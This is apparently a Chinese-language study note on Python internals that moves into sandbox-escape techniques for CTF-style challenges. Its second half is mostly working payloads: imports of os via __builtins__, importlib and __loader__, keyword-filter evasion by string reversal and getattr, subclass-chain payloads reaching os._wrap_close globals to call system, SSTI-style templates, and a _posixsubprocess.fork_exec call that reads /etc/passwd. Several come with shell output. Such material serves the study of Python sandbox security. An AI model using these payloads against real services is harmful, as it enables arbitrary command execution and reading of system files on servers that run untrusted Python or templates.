基础补充
对象
在python中一切皆对象,而每个对象都有标志,唯一表示,值
>>> num = 42
>>> print(type(num))
<class 'int'>
>>> print(id(num))
140247156393488
>>>
-
type函数
- 返回对象的类型,即对象是由什么类创建的
- 类本身也是类,而类的类型是type(元类)
>>> id = 1 >>> type(id) <class 'int'> >>> type(type(id)) <class 'type'> >>> -
id函数
- 输出对象的内存地址
类和实例 (class and instance)
简单一句话就是,类是对象的模板,实例是类的具体实现。
在python中实现是
class hack:
def test(self):
print("hAcK!")
boom = hack() #基于hack模板创建实例
boom.test() #调用创建的方法
对象的属性和方法
- 属性 对象所携带的变量
- 方法 对象执行的操作(函数)
class Cat:
def __init__(self,name):
self.name = name #属性
def getname(self):
print(self.name)
cat = Cat("miao")
print(cat.name)
cat.getname()
魔术方法
python中的魔术方法使用下划线包裹,使用与php的魔术方法类似
__init__初始化对象,在实例创建时被调用__str__定义对象的字符串表示,已字符串形式输出时被调用__getattr__访问不存在的属性时触发__getattribute__访问任意属性触发__dict__存储对象属性字典触发
class Vector:
def __init__(self, x, y):
self.x = x
self.y = y
def __str__(self):
return f"Vector({self.x}, {self.y})"
v = Vector(3, 4)
print(v) # 自动调用 __str__ → "Vector(3, 4)"
继承与多态
- 集成:子类集成父类的属性与方法
- 多态:子类可以重写父类的方法
class Animal:
def speak(self):
raise NotImplementedError
class Duck(Animal):
def speak(self): # 方法重写
print("Quack!")
duck = Duck()
duck.speak() # 输出 "Quack!"
特殊属性
-
__class__:获取对象的类 -
__bases__:获取父类元组 -
__dict__:查看对象/类的属性字典,可以通过字符串直接获取对象 -
__mro__:用于展示集成关系,会一直递归到object,以元组返回>>> "".__class__.__mro__ (<class 'str'>, <class 'object'>) -
__base__:与bases差不多,不过bases返回的是元组>>> "".__class__.__bases__ (<class 'object'>,) >>> "".__class__.__base__ <class 'object'> -
__builtins__这是一个python的内建模块,包含所有内置函数,异常,类型,配合上前面的__dict__可以构建出一个简单的命令执行__builtins__.__dict__['__import__']('os').system('id') -
__subclasses__用于获取子类,在ssti中学习过相关用法>>> print(X.__mro__[1].__subclasses__()) [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class ' >>> class X(object):pass ... >>> class a(X):pass ... >>> print(X.__subclasses__) <built-in method __subclasses__ of type object at 0x555d95f4f950> >>> print(X.__subclasses__()) [<class '__main__.a'>]__globals__返回一个字典,包含函数所在模块的所有全局变量
s = "hello"
print(s.__class__) # <class 'str'>
print(str.__bases__) # (<class 'object'>,)
print(s.__dict__) # 报错(str 实例无 __dict__)
print(str.__dict__.keys()) # 查看字符串类的所有属性和方法
可用模块
一些常规的命令执行与文件读取之类的模块和方法
-
os
import os os.system('whoami') os.popen("whoami").read()system和popen还是有点区别的,前者直接执行命令,后者执行命令执行返回文件对象
-
subprocess 模块
简单来说就是一个高级的os模块,使用起来也更加简单
>>> subprocess.run("id") uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode) CompletedProcess(args='id', returncode=0) -
sys 模块
-
常理来说,使用sys.modules作为存储了当前Python解释器已导入所有模块的字典,需要在导入后才能,但不知道为什么在os模块没有被引入的情况下依旧可以调用
import sys sys.modules['os'].system('whoami') # 访问已加载的os模块同样情况下subprocess 则无法直接调用,需要提前引入
>>> sys.modules['subprocess'].run('whoami') Traceback (most recent call last): File "<stdin>", line 1, in <module> KeyError: 'subprocess' >>> import subprocess >>> sys.modules['subprocess'].run('whoami') neko CompletedProcess(args='whoami', returncode=0) -
pty伪终端
import pty pty.spawn("ls") -
timeit 模块
用来测试代码速度的,与eval类似,如果可控可以代码执行
import timeit timeit.timeit("__import__('os').system('whoami')",number=1) -
eval 模块
这个就不多说了
“沙箱”
在python中似乎没有类似nodejsVM VM2那种使用非常广泛的沙箱,多数沙箱逃逸要逃逸的都是题目对于代码的输入检测
import
对模块的引入,除了常见的
import os
__import__('os').system('id')
如果不运行直接import os却可以引入其他的包,则可以尝试
__import__('importlib').import_module('os').system('id')
通过引入importlib包(import的底层实现),在通过其引入其他包来实现需要的功能
或者也可以尝试通过__builtins__ +__dict__ 的方式,获取builtins的属性字典(上面有提到),在通过键查找获取函数对象,调用到__import__ 函数
__builtins__.__dict__['__import__']('os').system('id')
使用__loader__ 引入
__loader__.load_module('os').system('id')
但这个只能加载内置模块,不过有一点很奇怪,按照官方的说法,os并非内置模块,为什么他能被调用
>>> import sys
>>> print(sys.builtin_module_names)
('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time', 'xxsubtype')
>>> __loader__.load_module('os').system('id')
uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
0
>>>
文件包含
文件读取引入
-
python2
neko@aosc-neko205 [ ~ ] $ python Python 2.7.18 (default, Mar 3 2025, 05:12:09) [GCC 14.2.0 20240801 (AOSC OS, Core)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> execfile('/usr/lib/python2.7/os.py') >>> system('ls') 1.py Games PycharmProjects 0 >>> -
python3
neko@aosc-neko205 [ ~ ] $ python3 Python 3.10.13 (main, May 5 2025, 03:16:01) [GCC 14.2.0 20240801 (AOSC OS, Core)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> exec(open('/usr/lib/python3.10/os.py').read()) >>> system("id") uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode) 0 >>>常见的python路径一般在
/usr/lib/python3.10下,或者可以使用sys.path来查看路径
字符变形
有时候会出现字符串被过滤的情况,例如过滤os,过滤了subprocess,之类的
字符翻转,拼接
__import__('so'[::-1]).system('sl'[::-1])
__import__('o'+'s').system('sl'.decode('base64'))
f修饰符
f-string,从python3.6引入,在使用修饰符后允许在字符串中添加表达式
f'{__import__("os").system("whoami")}'
getattr函数执行
getattr的作用是获取一个对象的指定属性,所以可以构造出,获取os模块中的system属性,构造出os.system
getattr(os,'system')('id')
下面是一个双层getattr 函数调用
getattr(getattr(__builtins__, '__import__')('os'), 'system')('whoami')
先通过getattr(__builtins__, '__import__')('os') 从__builti__ 中获取__import__ 函数,引入os在使用一个getattr使用os的system调用执行命令
继承关系逃逸(类似ssti)
与ssti是差不多的,基本就是
拿基类->找子类->构造命令->执行
先找到对象的类,而后找到基类,在通过基类去找字类
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()):print(i)
假设目标是<class 'os._wrap_close'> 那么在确定下标后就可以定位,使用globals调用system
''.__class__.__mro__[-1].__subclasses__()[137].__init__.__globals__['system']('whoami')
如果条件允许还可以使用for循环遍历来省去第一步
for i in range(200):
try:
''.__class__.__mro__[-1].__subclasses__()[i].__init__.__globals__['system']('id')
except:
pass
或者使用列表推导式来过滤想要的类
[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')
在有的时候object 可以直接使用时,则可以简化payload
object.__subclasses__()[137].__init__.__globals__['system']('whoami')
[i for i in object.__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')
基于_posixsubprocess的沙箱逃逸
资料并不多,目前收集到的且不同版本调用时传的值数量也不一样
import _posixsubprocess
import os
_posixsubprocess.fork_exec([b"/usr/bin/cat","/etc/passwd"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
或者
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False
小技巧
子类遍历加索引
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)
确定内建函数
{{().__class__.__base__.__subclasses__()[x].__init__.__globals__}}
查找属性名
>>> print(dir([cls for cls in ().__class__.__bases__[0].__subclasses__() if cls.__name__ == 'catch_warnings'][0].__init__.__globals__['linecache']))
['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']
查看
参考
Python中 os.popen、os.system和subprocess.popen方法介绍-CSDN博客